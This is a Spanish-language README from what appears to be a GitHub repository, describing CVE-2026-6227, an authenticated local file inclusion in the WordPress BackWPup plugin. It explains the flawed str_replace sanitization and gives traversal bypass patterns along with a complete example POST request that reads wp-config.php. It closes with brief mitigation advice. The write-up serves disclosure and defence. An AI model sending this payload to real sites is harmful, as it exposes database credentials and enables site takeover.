pixel-defaultbr/cve-2026-6227Prueba de concepto educativa para CVE-2026-6227, una inclusión local de archivos autenticada en el plugin de WordPress BackWPup, que incluye análisis de causa raíz, solicitud de explotación y orientación de mitigación.
Las versiones de BackWPup hasta la 5.6.6 inclusive están afectadas por una vulnerabilidad de Inclusión de Archivos Locales (LFI) autenticada a través del parámetro block_name del endpoint REST /wp-json/backwpup/v1/getblock.
El fallo fue causado por una sanitización no recursiva con str_replace() de secuencias de traversal y ya está corregido en la versión 5.6.7.
Este repositorio es estrictamente para fines educativos y de investigación ética en seguridad. La información aquí proporcionada tiene como objetivo ayudar a administradores y equipos de seguridad a verificar sus sistemas. No utilice esto contra objetivos sin permiso explícito y por escrito.
BackWPupHelpers::component()POST /wp-json/backwpup/v1/getblockblock_nameEl cargador de componentes vulnerable aplica una sanitización no recursiva con str_replace() antes de invocar include(). Esto puede ser evadido utilizando patrones de traversal manipulados como ....// o ..././, permitiendo la resolución de rutas controlada por el atacante.
wp-config.php)Por defecto, la explotación requiere acceso a nivel de administrador. Si los permisos de copia de seguridad están delegados, los usuarios con privilegios reducidos también podrían explotar este problema.
POST legítima a /wp-json/backwpup/v1/getblock.block_name con un payload de traversal.Ejemplo de solicitud:
POST /wp-json/backwpup/v1/getblock HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-WP-Nonce: <your_nonce_here>
Cookie: wordpress_logged_in_<hash>=<your_session_cookie>
block_name=....//....//....//....//wp-config&block_type=component&block_data%5Btype%5D=success&block_data%5Bfont%5D=small&block_data%5Bdismiss_icon%5D=true&block_data%5Bcontent%5D=You+scheduled+a+new+backup+successfully!
backwpup solo a roles de confianza/wp-json/backwpup/v1/getblock